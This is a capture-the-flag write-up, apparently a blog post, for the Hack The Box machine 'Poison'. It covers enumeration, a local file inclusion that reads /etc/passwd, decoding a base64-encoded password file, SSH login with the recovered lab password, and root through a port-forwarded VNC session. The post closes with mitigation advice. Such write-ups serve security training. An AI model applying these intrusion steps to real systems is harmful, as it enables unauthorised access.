Thumbnail: gravatar

Pwning Poison - HTB 'Poison' Writeup

by on under writeups
21 minute read

Pwning Poison - HTB ‘Poison’ Writeup


Host Information


Hostname IP Address Operating System Difficulty Level
Poison FreeBSD Medium

Poison HTB Card


view all writeups here


Writeup Contents:


Initial Recon


Per usual, we’ll start with our nmap scan of the system:

root@kali:/writeups/HTB/poison/enumeration# nmap -sC -sV -p- -O -oA poison

Starting Nmap 7.80 ( ) at 2020-01-20 20:46 CST

Nmap scan report for

Host is up (0.046s latency).

Not shown: 65533 closed ports


22/tcp open  ssh     OpenSSH 7.2 (FreeBSD 20161230; protocol 2.0)

| ssh-hostkey: 

|   2048 e3:3b:7d:3c:8f:4b:8c:f9:cd:7f:d2:3a:ce:2d:ff:bb (RSA)

|   256 4c:e8:c6:02:bd:fc:83:ff:c9:80:01:54:7d:22:81:72 (ECDSA)

|_  256 0b:8f:d5:71:85:90:13:85:61:8b:eb:34:13:5f:94:3b (ED25519)

80/tcp open  http    Apache httpd 2.4.29 ((FreeBSD) PHP/5.6.32)

|_http-server-header: Apache/2.4.29 (FreeBSD) PHP/5.6.32

|_http-title: Site doesn't have a title (text/html; charset=UTF-8).

No exact OS matches for host (If you know what OS is running on it, see ).

TCP/IP fingerprint:











Network Distance: 2 hops

Service Info: OS: FreeBSD; CPE: cpe:/o:freebsd:freebsd

OS and Service detection performed. Please report any incorrect results at .

Nmap done: 1 IP address (1 host up) scanned in 398.09 seconds


Interesting, a FreeBSD system with SSH and HTTP open.

Let’s check the SSH version info from nmap to see if we can confirm or further refine the FreeBSD version. A quick search reveals that 7.2 is in fact a FreeBSD version, not an SSH version, and it was released in 4 May 2009.

Let’s quickly check searchsploit to see what we can find on freebsd 7.2

We should also note that we have apache version 2.4.29 with PHP 5.6.32. A quick searchsploit query with these items does turn up much useful (potentially exploits/linux/local/46676.php could be of use, but it’s a linux exploit, and would require local access with the ability to create or upload the file.)



OK, let’ go ahead and check out what’s on HTTP port 80 with dirb:

root@kali:/writeups/HTB/poison/enumeration# dirb /usr/share/wordlists/dirb/big.txt -o poison_dirb.txt


DIRB v2.22    

By The Dark Raver


OUTPUT_FILE: poison_dirb.txt

START_TIME: Mon Jan 20 20:57:51 2020


WORDLIST_FILES: /usr/share/wordlists/dirb/big.txt


GENERATED WORDS: 20458                                                         

---- Scanning URL: ----



END_TIME: Mon Jan 20 21:16:17 2020


No words were found. OK, let’s visit the site.

We’re presented with a page that says:

Temporary website to test local .php scripts.

Sites to be tested: ini.php, info.php, listfiles.php, phpinfo.php

Scriptname:  [textbox]


Since they are testing local scripts, scripts must reside on th server, so let’s run dirb again checking for extensions.

root@kali:/writeups/HTB/poison/enumeration# dirb -X .php,.sh,.htm,.html,.pl -o poison_dirb.txt


DIRB v2.22    

By The Dark Raver


OUTPUT_FILE: poison_dirb.txt

START_TIME: Mon Jan 20 23:17:59 2020


WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

EXTENSIONS_LIST: (.php,.sh,.htm,.html,.pl) | (.php)(.sh)(.htm)(.html)(.pl) [NUM = 5]


GENERATED WORDS: 4612                                                          

---- Scanning URL: ----

+ (CODE:200|SIZE:321)                                  

+ (CODE:200|SIZE:289)                                   

+ (CODE:200|SIZE:157)                                    

+ (CODE:200|SIZE:20456)                                   

+ (CODE:200|SIZE:68226)                               



END_TIME: Mon Jan 20 23:35:49 2020



checking out the php files

The index.php was the main page we just landed on, let’s check out info.php.

Going there yields the following text:

FreeBSD Poison 11.1-RELEASE FreeBSD 11.1-RELEASE #0 r321309: Fri Jul 21 02:08:28 UTC 2017 amd64

Interesting. So the host might actually be FreeBSD 11.1, not 7.2.

Let’s go ahead and throw info.php info the textbox on the index page. Running info.php gave us the same results we just saw a moment ago. However, when trying, phpinfo.php, we get some interesting results.

THe URL becomes: and we get a whole trove of information. This seems to support that the system is FreeBSD 11.1, among a host of other things.

Entering “listfiles.php” in the index.php text box also gives interesting results.

The URL becomes, and the following information is displayed:

Array ( [0] => . [1] => .. [2] => browse.php [3] => index.php [4] => info.php [5] => ini.php [6] => listfiles.php [7] => phpinfo.php [8] => pwdbackup.txt ) 

Interesting - so there may be a pwdbackup.txt file locally on the system, and stored in a php array of files? So, thinking off the cuff, can we somehow change or utilize one of these php scripts we have access to to view that text file? led to the following:

Array ( [0] => . [1] => .. [2] => browse.php [3] => index.php [4] => info.php [5] => ini.php [6] => listfiles.php [7] => phpinfo.php [8] => pwdbackup.txt )


finding a clue and scripting a solution

So this is a php array, and it appears it has most of the files we saw on the index.php page, as well as the dirb scan results. But it also has a new file we haven’t seen, “pwdbackup.txt”. After a quick bit of research, it seems that, like Linux, in php the .. represents the previous directory. Which means that all of these files likely reside in the same directory on the target system. To confirm, we give the following URI a shot, which returns some interesting contents:


Alright, let’s take a look and see what we can do with this. The = at the end of the text seems to indicate this could be base64 text. Let’s copy it to the /loot directory and try to decode it. Since it mentions that the text is encoded 13 times, we’ll want to run the base64 decode 13 times iteratively to see if anything useful comes out of it. You could do this manually 13 times, but I want to script it, just for the practise.

After I bit of tweaking and figuring out what worked and what didn’t, I came up with a simple workable bash script. It could probably be made a little more efficient/elegant, but here’s what I came up with:


cp pwdbackup.txt pwdbackup.txt_orig

#run once first, since we have to read the initial file before changing, then repeat 12 more times

attempt=0		#init attempt number

#run 1

let "result=attempt+1" 	#processed result number to append to output file

cat pwdbackup.txt | base64 -d > pwdbackup_${result}

#subsequent attempts 2-13

for run in {1..12}


	let "result=run+1"	#processed result number to append to output file

	cat pwdbackup_${run} | base64 -d > pwdbackup_${result} 

	echo -e "\nDecoded result:\n"

	cat pwdbackup_${result}	&& echo ""


Running this yields the following on the last iteration of the base64 decode:

Decoded result:


Likely a password to an ssh user? Probably, but we’d need to know the user the password is associated with. Let’s keep digging around the website to see if we can find this information.


further enumeraiton on php files

Another thing noticeable when poking around was that the server is that it seems to be vulnerable to Local File Inclusion (LFI.) When browsing to the following is displayed:

# $FreeBSD: releng/11.1/etc/master.passwd 299365 2016-05-10 12:47:36Z bcr $


root:*:0:0:Charlie &:/root:/bin/csh

toor:*:0:0:Bourne-again Superuser:/root:

daemon:*:1:1:Owner of many system processes:/root:/usr/sbin/nologin

operator:*:2:5:System &:/:/usr/sbin/nologin

bin:*:3:7:Binaries Commands and Source:/:/usr/sbin/nologin

tty:*:4:65533:Tty Sandbox:/:/usr/sbin/nologin

kmem:*:5:65533:KMem Sandbox:/:/usr/sbin/nologin

games:*:7:13:Games pseudo-user:/:/usr/sbin/nologin

news:*:8:8:News Subsystem:/:/usr/sbin/nologin

man:*:9:9:Mister Man Pages:/usr/share/man:/usr/sbin/nologin

sshd:*:22:22:Secure Shell Daemon:/var/empty:/usr/sbin/nologin

smmsp:*:25:25:Sendmail Submission User:/var/spool/clientmqueue:/usr/sbin/nologin

mailnull:*:26:26:Sendmail Default User:/var/spool/mqueue:/usr/sbin/nologin

bind:*:53:53:Bind Sandbox:/:/usr/sbin/nologin

unbound:*:59:59:Unbound DNS Resolver:/var/unbound:/usr/sbin/nologin

proxy:*:62:62:Packet Filter pseudo-user:/nonexistent:/usr/sbin/nologin

_pflogd:*:64:64:pflogd privsep user:/var/empty:/usr/sbin/nologin

_dhcp:*:65:65:dhcp programs:/var/empty:/usr/sbin/nologin

uucp:*:66:66:UUCP pseudo-user:/var/spool/uucppublic:/usr/local/libexec/uucp/uucico

pop:*:68:6:Post Office Owner:/nonexistent:/usr/sbin/nologin

auditdistd:*:78:77:Auditdistd unprivileged user:/var/empty:/usr/sbin/nologin

www:*:80:80:World Wide Web Owner:/nonexistent:/usr/sbin/nologin

_ypldap:*:160:160:YP LDAP unprivileged user:/var/empty:/usr/sbin/nologin

hast:*:845:845:HAST unprivileged user:/var/empty:/usr/sbin/nologin

nobody:*:65534:65534:Unprivileged user:/nonexistent:/usr/sbin/nologin

_tss:*:601:601:TrouSerS user:/var/empty:/usr/sbin/nologin

messagebus:*:556:556:D-BUS Daemon User:/nonexistent:/usr/sbin/nologin

avahi:*:558:558:Avahi Daemon User:/nonexistent:/usr/sbin/nologin

cups:*:193:193:Cups Owner:/nonexistent:/usr/sbin/nologin


Note that the path had to be URL encoded to work, and it did not appear to be a Directory Traversal Vulnerability. We can see if we pass an invalid file parameter to the php browse script, it returns something like:

<br />

<b>Warning</b>:  include(/etc/stuff): failed to open stream: No such file or directory in <b>/usr/local/www/apache24/data/browse.php</b> on line <b>2</b><br />

<br />

<b>Warning</b>:  include(): Failed opening '/etc/stuff' for inclusion (include_path='.:/usr/local/www/apache24/data') in <b>/usr/local/www/apache24/data/browse.php</b> on line <b>2</b><br />

So it appears the browse.php script is looking in /usr/local/www/apache24/data. If we attempt to traverse directories, e.g. go to up to ../../../../etc/passwd, we see that this does not work:

Using URI

We get the following:

Warning: include(../../../../etc/passwd): failed to open stream: No such file or directory in /usr/local/www/apache24/data/browse.php on line 2

Warning: include(): Failed opening '../../../../etc/passwd' for inclusion (include_path='.:/usr/local/www/apache24/data') in /usr/local/www/apache24/data/browse.php on line 2

From this we can fairly confidently conclude that the server is not vulenrable to directory traversal, but is to LFI.


Gaining a user shell and enumeration from inside the system

Recall at the end of the /etc/passwd file we viewed, there was a ‘charix’ user. Great, so let’s try the password we decoded from the pwd_backup file, and see if we have SSH access:

root@kali:/writeups/HTB/poison/enumeration# ssh charix@

Password for charix@Poison:

Last login: Mon Mar 19 16:38:00 2018 from

FreeBSD 11.1-RELEASE (GENERIC) #0 r321309: Fri Jul 21 02:08:28 UTC 2017

Welcome to FreeBSD!

Release Notes, Errata:

Security Advisories:

FreeBSD Handbook:


Questions List:

FreeBSD Forums:

Documents installed with the system are in the /usr/local/share/doc/freebsd/

directory, or can be installed later with:  pkg install en-freebsd-doc

For other languages, replace "en" with a language code like de or fr.

Show the version of FreeBSD installed:  freebsd-version ; uname -a

Please include that output and any error messages when posting questions.

Introduction to manual pages:  man man

FreeBSD directory layout:      man hier

Edit /etc/motd to change this login announcement.

To see the output from when your computer started, run dmesg(8).  If it has

been replaced with other messages, look at /var/run/dmesg.boot.

		-- Francisco Reyes <>

charix@Poison:~ %

We can see the files in our home directory with an ls -altr

charix@Poison:~ % ls -altr

total 48

drwxr-xr-x  3 root    wheel    512 Mar 19  2018 ..

-rw-r-----  1 charix  charix   849 Mar 19  2018 .shrc

-rw-r-----  1 charix  charix   379 Mar 19  2018 .mail_aliases

-rw-r-----  1 charix  charix   336 Mar 19  2018 .mailrc

-rw-r-----  1 charix  charix   163 Mar 19  2018 .login_conf

-rw-r-----  1 charix  charix   254 Mar 19  2018 .login

-rw-r-----  1 charix  charix   281 Mar 19  2018 .rhosts

-rw-r-----  1 charix  charix   802 Mar 19  2018 .profile

-rw-r-----  1 root    charix    33 Mar 19  2018 user.txt

-rw-r-----  1 root    charix   166 Mar 19  2018

-rw-r-----  1 charix  charix  1041 Mar 19  2018 .cshrc

drwxr-x---  2 charix  charix   512 Mar 19  2018 .

-rw-rw----  1 charix  charix     0 Mar 19  2018 .history

Let’s go ahead and grab the user flag from /home/charix/user.txt

Also we see - that looks intriguing - let’s check it out.

charix@Poison:~ % unzip 


 extracting: secret |

unzip: Passphrase required for this entry

So it looks like a password is required to unzip the archive. The FreeBSD version of unzip does not seem to prompt for the password, and looking through the man page, I did not see an option/flag to decrypt the file with with unzip on the poision system, so let’s scp it locally and see if we can do it from kali. Attempting to scp from poison to kali seemed to fail with a permission denied error, but going from kali to charix seemed to work OK.

root@kali:/writeups/HTB/poison/loot# scp charix@ .

Password for charix@Poison:                                         100%  166     5.4KB/s   00:00  

Now let’s see if we provide the same creds as the initial ssh logi,n if it will allow us to unzip the file, or if we need to find the passphrase another way.

Great, it seemed to work, let’s take a look at what’s inside:

root@kali:/writeups/HTB/poison/loot# unzip 


[] secret password: 

 extracting: secret    


root@kali:/writeups/HTB/poison/loot# cat secret


Interesting, so not human readable - perhaps it’s encoded somehow? This may well be a rabbit hole, so I don’t want to go too far down this path if we don’t need to. We can come back to this later if it appears we need it.

For now, let’s take a step back and do further enumeration to see how we can possibly privesc.


Further enumeration for Privilege Escalation

It looks like sudo is not installed by default in FreeBSD, nor on this machine, so there goes running sudo -l. Let’s check out what processes are running as root:

charix@Poison:~ % ps aux | grep root

root    11 100.0  0.0     0    16  -  RL   21:06   63:39.91 [idle]

root     0   0.0  0.0     0   160  -  DLs  21:06    0:00.01 [kernel]

root     1   0.0  0.1  5408  1040  -  ILs  21:06    0:00.00 /sbin/init --

root     2   0.0  0.0     0    16  -  DL   21:06    0:00.00 [crypto]

root     3   0.0  0.0     0    16  -  DL   21:06    0:00.00 [crypto returns]

root     4   0.0  0.0     0    32  -  DL   21:06    0:00.12 [cam]

root     5   0.0  0.0     0    16  -  DL   21:06    0:00.00 [mpt_recovery0]

root     6   0.0  0.0     0    16  -  DL   21:06    0:00.00 [sctp_iterator]

root     7   0.0  0.0     0    16  -  DL   21:06    0:01.78 [rand_harvestq]

root     8   0.0  0.0     0    16  -  DL   21:06    0:00.00 [soaiod1]

root     9   0.0  0.0     0    16  -  DL   21:06    0:00.00 [soaiod2]

root    10   0.0  0.0     0    16  -  DL   21:06    0:00.00 [audit]

root    12   0.0  0.1     0   736  -  WL   21:06    0:01.57 [intr]

root    13   0.0  0.0     0    48  -  DL   21:06    0:00.00 [geom]

root    14   0.0  0.0     0   160  -  DL   21:06    0:00.19 [usb]

root    15   0.0  0.0     0    16  -  DL   21:06    0:00.00 [soaiod3]

root    16   0.0  0.0     0    16  -  DL   21:06    0:00.00 [soaiod4]

root    17   0.0  0.0     0    48  -  DL   21:06    0:00.06 [pagedaemon]

root    18   0.0  0.0     0    16  -  DL   21:06    0:00.00 [vmdaemon]

root    19   0.0  0.0     0    16  -  DL   21:06    0:00.00 [pagezero]

root    20   0.0  0.0     0    32  -  DL   21:06    0:00.05 [bufdaemon]

root    21   0.0  0.0     0    16  -  DL   21:06    0:00.01 [bufspacedaemon]

root    22   0.0  0.0     0    16  -  DL   21:06    0:00.72 [syncer]

root    23   0.0  0.0     0    16  -  DL   21:06    0:00.01 [vnlru]

root   319   0.0  0.5  9560  5052  -  Ss   21:06    0:00.19 /sbin/devd

root   390   0.0  0.2 10500  2448  -  Ss   21:06    0:00.07 /usr/sbin/syslogd -s

root   543   0.0  0.5 56320  5396  -  S    21:06    0:02.05 /usr/local/bin/vmtoolsd -

root   620   0.0  0.7 57812  7052  -  Is   21:06    0:00.00 /usr/sbin/sshd

root   624   0.0  0.8 85228  7704  -  Is   21:06    0:00.02 sshd: charix [priv] (sshd

root   634   0.0  1.1 99172 11516  -  Ss   21:07    0:00.09 /usr/local/sbin/httpd -DN

root   651   0.0  0.6 20636  6204  -  Ss   21:08    0:00.05 sendmail: accepting conne

root   658   0.0  0.2 12592  2436  -  Is   21:08    0:00.01 /usr/sbin/cron -s

root   529   0.0  0.9 23620  8872 v0- I    21:06    0:00.02 Xvnc :1 -desktop X -httpd

root   540   0.0  0.7 67220  7064 v0- I    21:06    0:00.02 xterm -geometry 80x24+10+

root   541   0.0  0.5 37620  5312 v0- I    21:06    0:00.01 twm

root   705   0.0  0.2 10484  2076 v0  Is+  21:08    0:00.00 /usr/libexec/getty Pc tty

root   706   0.0  0.2 10484  2076 v1  Is+  21:08    0:00.00 /usr/libexec/getty Pc tty

root   707   0.0  0.2 10484  2076 v2  Is+  21:08    0:00.00 /usr/libexec/getty Pc tty

root   708   0.0  0.2 10484  2076 v3  Is+  21:08    0:00.00 /usr/libexec/getty Pc tty

root   709   0.0  0.2 10484  2076 v4  Is+  21:08    0:00.00 /usr/libexec/getty Pc tty

root   710   0.0  0.2 10484  2076 v5  Is+  21:08    0:00.00 /usr/libexec/getty Pc tty

root   711   0.0  0.2 10484  2076 v6  Is+  21:08    0:00.00 /usr/libexec/getty Pc tty

root   712   0.0  0.2 10484  2076 v7  Is+  21:08    0:00.00 /usr/libexec/getty Pc tty

root   567   0.0  0.4 19660  3616  0  Is+  21:06    0:00.01 -csh (csh)

charix 873   0.0  0.0   412   328  1  R+   22:09    0:00.00 grep root

Interesting. So it looks like a csh shell is open as root somewhere on the system (2nd to last process on the list.) It also looks like a cron job is running as root (no real surprise there, but good to keep in mind).


Gaining root access

What catches my eye besides the csh shell as root however, is the Xvnc process. VNC is a remote desktop protocol, so I wonder if we could connect to that session somehow, and drop in as root.

Having messed with VNC briefly before, I believe that :1 is the default session identifier (which would increment with more simultaneous connections), but a quick perusal of a man page for VNC can give us a good idea of how to connect.

Let’s try vncviewer :1 and see what happens.

vncviewer: Command not found.

OK, so the system likely doesn’t have the actual vncviewer client installed, somewhat complicating things. If VNC is indeed running though, it should be connecting through a specific port. I believe the default if 5900 + whatever connections are open (in this case, a single one, so 5901, but let’s see if we can check what port is listening. It looks like in FreeBSD, sockstat can be user to list socket connections, so let’s see what we have:

charix@Poison:~ % sockstat -4 -l


root     sendmail   651   3  tcp4          *:*

www      httpd      650   4  tcp4   *:80                  *:*

www      httpd      649   4  tcp4   *:80                  *:*

www      httpd      648   4  tcp4   *:80                  *:*

www      httpd      647   4  tcp4   *:80                  *:*

www      httpd      646   4  tcp4   *:80                  *:*

root     httpd      634   4  tcp4   *:80                  *:*

root     sshd       620   4  tcp4   *:22                  *:*

root     Xvnc       529   1  tcp4        *:*

root     Xvnc       529   3  tcp4        *:*

root     syslogd    390   7  udp4   *:514                 *:*

charix@Poison:~ % 

OK, so 5901 is indeed open. It also looks like 5801 is open. As expected VNC isn’t externally routable (a good idea to avoid if you can do so), or else 5801 and 5901 ports should have shown up on our nmap scans. Since this is the case, we’ll likely have to use some local port forwarding in order to be able to connect. vncviewer appears to be installed on kali, et’s see if we can port forward such that we can connect to the poison VNC session from our kali system.

From our kali system, we should be able to achieve a local port forward like such:

root@kali:/writeups/HTB/poison/enumeration# ssh -L 5901: -f charix@ -N

Password for charix@Poison:

{There are some great pages on port forwarding with a quick web search, if you want to see another instance of my using almost the exact same forward on another box, check out my Haystack HTB writeup.}

OK, now let’s try to connect; Looks like a password is required . Trying Charix!2#4%6&8(0 (which was our initial SSH credential) did not seem to work.

root@kali:/writeups/HTB/poison/enumeration# vncviewer

Connected to RFB server, using protocol version 3.8

Enabling TightVNC protocol extensions

Performing standard VNC authentication


Authentication failed

Let’s try the weird/nonstandard output of the secret file from, and see if we have any luck there. We get another ‘Authenetication Failed,’ however, when checking out more about the secrets file, we can see that it is Non-ISO extended ASCII text:

root@kali:/writeups/HTB/poison/loot# file secret

secret: Non-ISO extended-ASCII text, with no line terminators

I began to wonder if my shell was making the output a little strange (due to the first two symbols) so I checked in gedit and vim, and the characters were displayed different. However, copying them to my clipboard still either resulted in authentication error, or failure to read the password. The one other thing I could think to try, was to see if I could supply the file directly as the password, without having to paste something.

A quick search with man vncviewer shows we can do exactly that, with the -passwd option.

Running this, a VNC session starts, and it looks like we’re root!

root@kali:/writeups/HTB/poison/loot# vncviewer -passwd secret

Connected to RFB server, using protocol version 3.8

Enabling TightVNC protocol extensions

Performing standard VNC authentication

Authentication successful

Desktop name "root's X desktop (Poison:1)"

VNC server default format:

  32 bits per pixel.

  Least significant byte first in each pixel.

  True colour: max red 255 green 255 blue 255, shift red 16 green 8 blue 0

Using default colormap which is TrueColor.  Pixel format:

  32 bits per pixel.

  Least significant byte first in each pixel.

  True colour: max red 255 green 255 blue 255, shift red 16 green 8 blue 0

Same machine: preferring raw encoding

Poison VNC root session

Now we can grab root from /root/root.txt and we should be done!




Mitiagation Recommendations

  • The php scripts within the webserver should have better user input validation, to ensure that only intended files are served and displayed by the webserver.

  • Passwords should properly be hashed, never just encoded. Regarless of how many times an item is encoded, encoding is designed to be reversible, and thus does not properly protect passwords and authentication information. Rather than relying on something like base64, a salted SHA256 or SHA512 hash should be used, for example.

  • If possible, avoid running VNC sessions as root. Also, be sure to terminate VNC sessions when no longer needed or not in use. Regardless of if the session is running as root or a different user, leaving a sessiosn open longer than it needs to be just provides a larger surface area for an attacker to potentially either gain a foothold or escalate privileges.



That’s all for now; until next time,


hackthebox, HTB, writeups, walkthrough, hacking, pentest, OSCP prep
comments powered by Disqus